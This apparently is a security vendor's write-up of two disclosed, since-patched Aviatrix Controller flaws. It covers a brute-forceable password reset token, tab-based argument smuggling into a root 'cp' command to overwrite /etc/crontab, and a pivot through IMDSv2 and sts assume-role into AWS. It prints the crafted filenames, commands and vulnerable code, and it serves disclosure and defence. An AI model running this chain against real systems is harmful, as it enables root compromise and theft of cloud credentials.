Trix Shots: Remote Code Execution on Aviatrix Controller

Written by: Louis Dion-Marcil This blog post highlights a Mandiant Red Team case study simulating an “Initial Access Brokerage” approach that discovered two vulnerabilities on Aviatrix Controller, a Software-Defined Networking (SDN) utility that allows for the creation of links between different cloud vendors and regions: CVE-2025-2171: an administrator authentication bypass CVE-2025-2172: an authenticated command injection The vulnerabilities affected Aviatrix Controller 7.2.5012 and prior versions and were patched in versions 8.0.0, 7.2.5090, and 7.1.4208. Thank you to the team at Aviatrix who took the reported security issues seriously and remediated them in a timely manner. The Red Team successfully exploited a fully patched Aviatrix Controller via authentication bypass, unsafe file upload, and argument injection. The detailed attack chain is shown in Figure 1. Figure 1: Exploitation steps Earlier this year, Mandiant faced an especially minimal attack surface during a Red Team engagement. Most of the attack surface represented third party SaaS, which were deemed as out of scope for the engagement. One of the interesting services exposed was a fully patched Aviatrix Controller, hosted on AWS. Aviatrix has Gateways deployed in different clouds and regions, which all phone home to the Aviatrix Controller. Incidentally, compromising the Controller would mean having access to the centralized component which accesses all these cloud gateways and cloud APIs, making it a prime target for attackers. Additionally, we noticed that a recent unauthenticated Command Injection vulnerability had affected Aviatrix Controller in 2024, tracked as CVE-2024-50603. The vulnerability documented in Jakub Korepta’s excellent blog post seemed impactful enough to motivate us to look for further vulnerabilities in the Aviatrix Controller. Obtaining Aviatrix Controller source code was relatively easy; we simply followed the steps described in the aforementioned blog post. A goal we identified early on during the engagement was breaching the client’s cloud environment. This could be done via Remote Code Execution, or otherwise bypassing the authentication on the Aviatrix Controller. Unfortunately for us, this proved more difficult than we initially thought. Architecture The Aviatrix Controller leverages an interesting architecture. The Controller logic is mostly written in a Python3.10 codebase, bundled in a binary using PyInstaller. On the Controller server, this executable was found at /etc/cloudx/cloudxd. The bundled binary was called by an older-looking PHP codebase, which we'll refer to as the "front-end". This front-end parsed HTTP requests, extracted parameters, and passed them to the cloudxd binary via a sudo call, running as root. For example, when trying to log in on the Aviatrix Controller login page, the browser would issue a request like the following: POST /v2/api HTTP/2[...] {"action":"login","username":"foobar","password":"foobar"} This request would be handled by the api.php file found in /var/www/, which would in turn call the verify_login function in functions.php. function verify_login($username, $password, $ip, $api = false, $token = '') { $rtn_file = RTN_FILE . rand(); $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management get_password"; $cmdstr .= " --user_name " . escapeshellarg($username); $cmdstr .= " --password " . escapeshellarg($password); $cmdstr .= " --login_ip " . escapeshellarg($ip); if ($api) $cmdstr .= " --api"; if (!empty($token)) $cmdstr .= " --api_token " . escapeshellarg($token); return exec_command($cmdstr, $rtn_file, true); } The PHP front-end would call the cloudxd binary in the following fashion: $ sudo /etc/cloudx/cloudxd [...] user_login_management get_password --username foobar --password foobar --login-ip {user_ip} The first argument was the "module", in this case user_login_management, followed by the "action", in this case get_password. This information will come in handy when trying to hunt for the backend implementation of the user_login_management module. Extracting Back-End Logic The next step was identifying how common authentication flows take place, such as login, user signup, password reset, etc. We started by extracting the compiled Python bytecode found in the cloudxd binary, with the help of the pyinstxtractor tool. This gave us a clean extract of the Python bytecode, which thankfully was not obfuscated. Identifying the login module was easy, as Aviatrix modules were stored in files of the same name (user_login_management would be in user_login_management.pyc). $ find . -name user_login_management.pycPYZ-00.pyz_extracted/user_login_management.pyc $ file PYZ-00.pyz_extracted/user_login_management.pycPYZ-00.pyz_extracted/user_login_management.pyc: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Thu Jan 1 00:00:00 1970 UTC, .py size: 0 bytes The compiled Python file used Python 3.10, which is not supported by most popular Python decompilers. This meant we would need to read the Python bytecode manually, just like our ancestors did. We quickly downloaded a Python 3.10 interpreter and dumped the Bytecode to stdout: $ ~/.pyenv/versions/3.10.12/bin/python -c \"import disimport typesimport marshal with open('user_login_management.pyc', 'rb') as f: f.read(0x10) code_object = marshal.load(f) dis.dis(code_object)" 4 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (os) 6 STORE_NAME 0 (os) 5 8 LOAD_CONST 0 (0) 10 LOAD_CONST 1 (None) 12 IMPORT_NAME 1 (os.path) 14 STORE_NAME 0 (os) 6 16 LOAD_CONST 0 (0) 18 LOAD_CONST 1 (None) 20 IMPORT_NAME 2 (logging) 22 STORE_NAME 2 (logging) Using this methodology, we could read the Bytecode representation of the source code. However, disassembled Python is quite verbose and the login logic is around 6,300 lines long. We don’t have that kind of time during a Red Team, so we needed to take a few shortcuts. Authentication Bypass We used Gemini to obtain Python pseudocode from disassembled Python, which saved a lot of time. An interesting thing stood out: when initiating a password reset for an account, a 6-digit number was generated as a password reset token, ranging from 111,111 to 999,999. The Gemini generated pseudocode can be seen in the Figure 2. Figure 2: LLM generated pseudocode for the reset_password action The password reset token entropy was too weak to be effective, being 999,999 - 111,111 = 888,888 unique candidates. We couldn’t find any logic in the codebase that would invalidate the password reset upon too many invalid tokens. However, Aviatrix Controller only accepted the tokens for 15 minutes, after which the token would be invalidated. This gave us a 15 minute window to attempt an account takeover, with shy of 900,000 candidates. With the attack theorized, we put together a password bruteforcer, using “seq -w 111111 999999 | sort --random-sort” as our input, and using ffuf to issue the password reset requests. We would need to repeat the following steps, every 15 minutes: Generate a new candidate list, for good luck! (not really necessary, but it's nice to change things up) Initiate a password reset via curl Start a ffuf bruteforce with our new candidates The bruteforcer was configured to ignore all requests matching the string “invalid or expired”, so that ffuf would only return valid password reset tokens. Note that sending a password reset would inevitably send an email to the configured administrator's email address, which is very noisy, although it was possible the admin account would not have a configured email. With the client’s approval to proceed with the account takeover, we started the bruteforce, targeting the default “admin” Aviatrix user, and after 16 hours and 23 minutes, we got a match as shown in Figure 3. Figure 3: Identifying a valid password reset token This token allowed us to perform a password reset of the administrator user, allowing us to authenticate to the Controller. We had breached the first layer of Aviatrix Controller’s security controls, giving us access to a plethora of cloud features, ranging from deploying OpenVPN configurations, creating users, obtaining user hashed credentials, reading from a local MongoDB, and more. Hunting for Exploit Primitives Aviatrix takes a lot of precaution to ensure that compromised Controller credentials do not lead to complete cloud compromise. Namely, it did not appear possible for us to execute underlying commands on the Controller server, or spin up new cloud instances (EC2s, GCEs) that we could connect to. From a Red Teaming objective perspective, gaining access to the admin account was a win, but it was not the win we had hoped for. We set out to look for vulnerabilities that would lead to Remote Code Execution. One interesting piece of the code that caught our eye from the beginning was the very creative file upload handling, at the front-end (PHP) level, shown as follows: function upload_file($actionname, $key, $arr, $ext = array(), $type = null, $size = PHP_LIMIT_SIZE) { $res["return"] = false; $invalid_extensions = array("php", "py", "htaccess", "zip", "sh", "pdf"); if (array_key_exists($key, $arr) && !empty($arr[$key])) { switch ($arr[$key]["error"]) { case 0: $filename = basename($arr[$key]["name"]); $extension = substr($filename, strrpos($filename, ".") + 1); $extension = strtolower(explode(" ", $extension)[0]); $filename = substr($filename, 0, strrpos($filename, ".")); $filename = preg_replace("/\s+/", "_", $filename); if (!empty($ext) && !in_array($extension, $ext)) { $res["reason"] = "Invalid file extension."; [...] } else { $storedname = $actionname . "-" . $key; $newpath = "/var/avxui/" . $storedname . "." . $extension; if (!move_uploaded_file($arr[$key]["tmp_name"], $newpath)) { $res["reason"] = "A problem occurred during file upload."; } else { $res["return"] = true; $res["filename"] = $newpath; } } [...] return $res;} This routine does quite a few things. First, while the upload_file() function allowed for file extension allow-listing, it was rarely used in practice. For example, here are example calls to the function, found in the PHP front-end codebase, never specifying an extension allow-list: upload_file($action, "file", $_FILES); upload_file($action, "ldap_ca_cert", $_FILES); upload_file($action, "ldap_client_cert", $_FILES); upload_file($action, "ldap_ca_cert", $_FILES); upload_file($action, "ldap_client_cert", $_FILES); An interesting side-effect of this function was that uploaded files were written to disk but not removed after the files were processed. It was also possible to partially control the files being written to disk, namely via the file extension. For example, the following file upload request: Content-Disposition: form-data; name="ldap_ca_cert"; filename="xxe.foobar;baz" … would create the uploaded file as "/var/avxui/test_ldap_bind-ldap_ca_cert.foobar;baz" on the Aviatrix Controller filesystem. The file upload routine would not allow slashes; it would truncate everything after the first space, and ignore everything before the last period character (.). Interestingly, the controller allowed tab characters in filenames. Here are example filenames, and how they would be written to disk: Uploaded file File on disk foobar.abc {action}.abc foobar.abc.xyz {action}.xyz foobar.abc/def.ghj {action}.ghj foobar.abc .xyz {action}.abc foobar.abc{tab}xyz {action}.abc{tab}xyz Having control over a partial filename stored to disk, Mandiant set out to look for command injection vulnerabilities. If the Controller backend insecurely used the uploaded file name in a command line argument, it could be possible to inject into the shell command to perform Remote Code Execution. Another interesting architectural decision we observed was that the Controller used command-line utilities to do OS level operations. For example, the Controller ran the "cp" program instead of using a Python library to handle file copying. This introduced a significant attack surface, especially since we could control partial filenames. Mandiant observed an interesting pattern while looking at the library code used to run operating system commands, where the commands to be executed were built as a string, and later tokenized. This is shown in the following Python bytecode: // Disassembly of tools.sysutils.txtDisassembly of get_system_cmd_output:276 0 LOAD_FAST 0 (cmd) 2 STORE_FAST 8 (cmd_)277 4 LOAD_FAST 3 (shell) 6 POP_JUMP_IF_TRUE 14 (to 28) 8 LOAD_GLOBAL 0 (isinstance) 10 LOAD_FAST 0 (cmd) 12 LOAD_GLOBAL 1 (list) 14 CALL_FUNCTION 2 16 POP_JUMP_IF_TRUE 14 (to 28)278 18 LOAD_GLOBAL 2 (shlex) 20 LOAD_METHOD 3 (split) 22 LOAD_FAST 0 (cmd) 24 CALL_METHOD 1 26 STORE_FAST 8 (cmd_)[...]291 64 LOAD_GLOBAL 5 (subprocess) 66 LOAD_ATTR 6 (check_output) 68 LOAD_FAST 8 (cmd_)[...] 80 STORE_FAST 10 (res)[...] 242 LOAD_FAST 12 (res) 244 CALL_METHOD 1 246 RETURN_VALUE This bytecode could be translated to Python in this way: def get_system_cmd_output(cmd, [...]): cmd_ = shlex.split(cmd) return subprocess.check_output(cmd_)) This meant that individual features of Aviatrix Controller would build commands as strings, such as the following: get_system_cmd_output("cp /folder/fileA /folder/fileB") While get_system_cmd_output() accepted a string as input, the underlying Python subprocess.check_output() function expected a list, ie ["cp", "/folder/fileA", "/folder/fileB"]. To counter this, Aviatrix Controller followed the Python subprocess documentation and called the shlex.split() function on the command line string. Herein lies the vulnerability, in the shlex.split() function call. Smuggling Arguments The shlex module splits user input in the same way your shell interpreter would, meaning it tokenizes on all common whitespace characters, such as tab characters. This is especially interesting for us, since the file upload front-end did not sanitize or filter tabs. By adding tab characters to uploaded filenames, it would therefore be possible to smuggle command line arguments to the shell interpreter. Figure 4 shows the shlex library tokenizing tab characters as if they were spaces. Figure 4: Shlex tokenizing tab characters For example, if we uploaded a file with the following name: foobar.foo{TAB}--bar{TAB}--baz The following file would be written to disk: {ACTION}.foo{TAB}--bar{TAB}--baz Later on, if passed to a command-line utility such as "cp", the following command would be executed: $ cp {ACTION}.foo --bar --baz /folder/final_file This allowed us to smuggle unexpected arguments to the underlying program being called! We set out to locate features that would accept file uploads and pass the partially controlled filename to a shell program. One such feature was found in the Proxy Admin utility, which allowed a custom CA Certificate file to be installed. This certificate would be obtained via file upload, stored to disk, and copied elsewhere on the filesystem via "cp". This is shown as follows: // Disassembly of CertInstall.pycDisassembly of install:[...] 81 18 LOAD_CONST 1 ('sudo cp %s %s') 20 LOAD_FAST 0 (self) 22 LOAD_ATTR 3 (crt) 24 LOAD_FAST 0 (self) 26 LOAD_ATTR 4 (_local_crt)[...] 32 STORE_FAST 2 (cmd) 83 44 LOAD_FAST 1 (cmdset) 46 LOAD_METHOD 5 (append) 48 LOAD_CONST 2 ('sudo update-ca-certificates') 50 CALL_METHOD 1 52 POP_TOP[...] 84 >> 54 LOAD_FAST 0 (self) 56 LOAD_METHOD 6 (_exec_commands) 58 LOAD_FAST 1 (cmdset) 60 CALL_METHOD 1 class CertInstall: def install(self): cmd = f"sudo cp {injection_point} /usr/local/share/cacertificates/test_proxy_connectivity-server_ca_cert.crt" cmdset.append(cmd) cmdset.append("sudo update-ca-certificates") return self._exec_commands(cmdset) This was an ideal candidate: if we could smuggle arguments to the /usr/bin/cp program, we could theoretically copy the uploaded file over elsewhere on the filesystem. Moreover, the contents of the smuggled file, which the Controller expected to be a certificate, was fully user controllable. Our goal was now to smuggle arguments to /usr/bin/cp, to obtain an arbitrary file write primitive on the underlying filesystem. If successful, this would also execute as root, due to the cp call being wrapped by sudo. Certified /usr/bin/cp Hacker We then made a test bed to simulate the many exploitation requirements. Namely, we must craft a filename that follows the following requirements: Can't use period (.) characters Can't use slash characters (/, or \) Can't use space characters Filename gets lowercased by the PHP front-end Smuggled arguments are passed in the 2nd position The current working directory is /. Easier said than done! Our injection point is the following: $ cp /var/avxui/test_proxy_connectivityserver_ca_cert.{prefix} {smuggled arguments} /usr/local/share/cacertificates/test_proxy_connectivity-server_ca_cert.crt For brevity, we will rewrite it as such: $ cp {prefix} {smuggled arguments} {trailing} Where {prefix} is the user-controlled filename containing our uploaded contents, and {trailing} is the intended final certificate destination, /usr/local/share/cacertificates. Relatively early on, we identified /etc/crontab as an interesting target for file overwrite, as it did not contain a period character. That's our first requirement tackled. First, we would use cp to rename our uploaded file to "crontab" in the current working directory. Next, we would trigger a second cp command to copy it over to /etc. At first, it was not obvious how to write a file to /etc, without referencing /etc, due to the no-slash limitation. One avenue for copying our weaponized crontab to /etc, without referencing the slash character, was to abuse the fact that the cp command will treat the last argument as a directory when multiple input files are passed. In other words, if we could somehow craft a command where the final file was simply "etc", all previously passed filenames would be copied over to /etc, without having to specify a forward slash! From the manual: SYNOPSIS cp [OPTION]... SOURCE... DIRECTORY DESCRIPTION Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY. However, the command we're smuggling arguments into has a trailing filename, /var/avxui/test_proxy_connectivity-server_ca_cert.txt. By carefully reading the man pages, we found this interesting argument: -S, --suffix=SUFFIX override the usual backup suffix By smuggling a --suffix argument, we could trick the cp binary into thinking that the trailing filename was in fact a backup suffix, which would be ignored here since we are not passing the --backup argument. In doing so, we could craft a cp command where the final file was "etc". We can confirm the behaviour locally, where the red parts represent the specially crafted filename: $ echo BAD > /var/fileupload.txt ## Simulate first file upload, "crontab" file is created at the root $ cp /var/fileupload.txt crontab --suffix /usr/local/cert… $ cat /crontab BAD ## Simulate second file upload, "crontab" is copied over to /etc $ cp /var/fileupload.txt crontab etc --suffix /usr/local/cert… $ cat /etc/crontab BAD A live example is shown in Figure 5. Figure 5: Argument smuggling leading to arbitrary file write Putting It All Together At this point, we theorized an argument injection exploit, and it was time to see if it worked. 1. We first uploaded a CA Certificate file containing a simple crontab file, called dummy.txt, which would be stored as /var/avxui/test_proxy_connectivityserver_ca_cert.txt on the filesystem, shown in Figure 6. This file will later be renamed to crontab, and moved over to /etc. Figure 6: Creating a local file containing our malicious crontab 2. Next, we performed the first argument injection attack, renaming the test_proxy_connectivityserver_ca_cert.txt file to crontab, shown in Figure 7. Figure 7: Creating a local file with smuggled arguments in the file extension The literal command that is executed following that HTTP request is: /usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab --suffix /usr/local/share/ca-certificates/test_proxy_connectivity-server_ca_cert.crt As explained, the --suffix argument will drop the trailing filename, and so the cp command can be shortened to the following: /usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab Since the command is executed at the root of the filesystem, the command would copy /var/avxui/test_proxy_connectivity-server_ca_cert.txt, over to /crontab. 3. Finally, we trigger the bug once more to move the /crontab file to the /etc folder, shown in Figure 8. Figure 8: Moving the local file to the /etc folder The literal command that is executed following that HTTP request is: /usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab etc --suffix /usr/local/share/ca-certificates/test_proxy_connectivity-server_ca_cert.crt The cp command can be shortened to the following: /usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab etc Because there are more than two files passed to cp, the last file is expected to be a directory. This command will essentially copy both /var/avxui/test_proxy_connectivity-server_ca_cert.txt and crontab over to /etc, completing the exploit chain. And sure enough, within a minute, and every minute after that, we got a curl callback! This is shown in Figure 9. Figure 9: Crontab successfully executing the curl command The execution context was also under root, inherited from crontab, which was incredibly convenient from an attacker's perspective. This confirmed our successful exploitation of a fully patched Aviatrix Controller, via Authentication Bypass, Unsafe File Upload, and Argument Injection. Cloud Pivots This was the end of the road for the Initial Access team, but the beginning of the engagement for the Red Team operators. The last step for us was to capitalize on this access by obtaining Cloud administrator privileges. From a compromised Aviatrix Controller, the AWS IMDSv2 endpoint could be queried to obtain ephemeral cloud keys. This should grant access to the ARN "arn:aws:sts::[...]:assumed-role/Aviatrix-role-ec2", which by design has access to basically nothing. To obtain cloud keys for the privileged Aviatrix role, we had to perform an Assume Role, as documented in Aviatrix's documentation. With a configured AWS profile, we ran: $ aws sts assume-role --role-arn "arn:aws:iam::[...]:role/aviatrix-role-app" --role- session-name "AviatrixSession" Which granted us with a new set of ephemeral AWS keys, which now had access to EC2s, S3 buckets, etc. Conclusion An especially restricted attack surface forced us to go against an unusual target, a Software-Defined Networking (SDN) controller. Through code review, patience, and lots of luck, the Mandiant Initial Access Team breached the client's Aviatrix Controller, and later their cloud environments, by exploiting two newly discovered vulnerabilities. Timeline March 10, 2025: Initial report to the Aviatrix helpdesk March 12, 2025: Escalated the issue to Aviatrix leadership March 12, 2025: Call with Aviatrix engineers and leadership to describe the issues March 31, 2025: Patch released to customers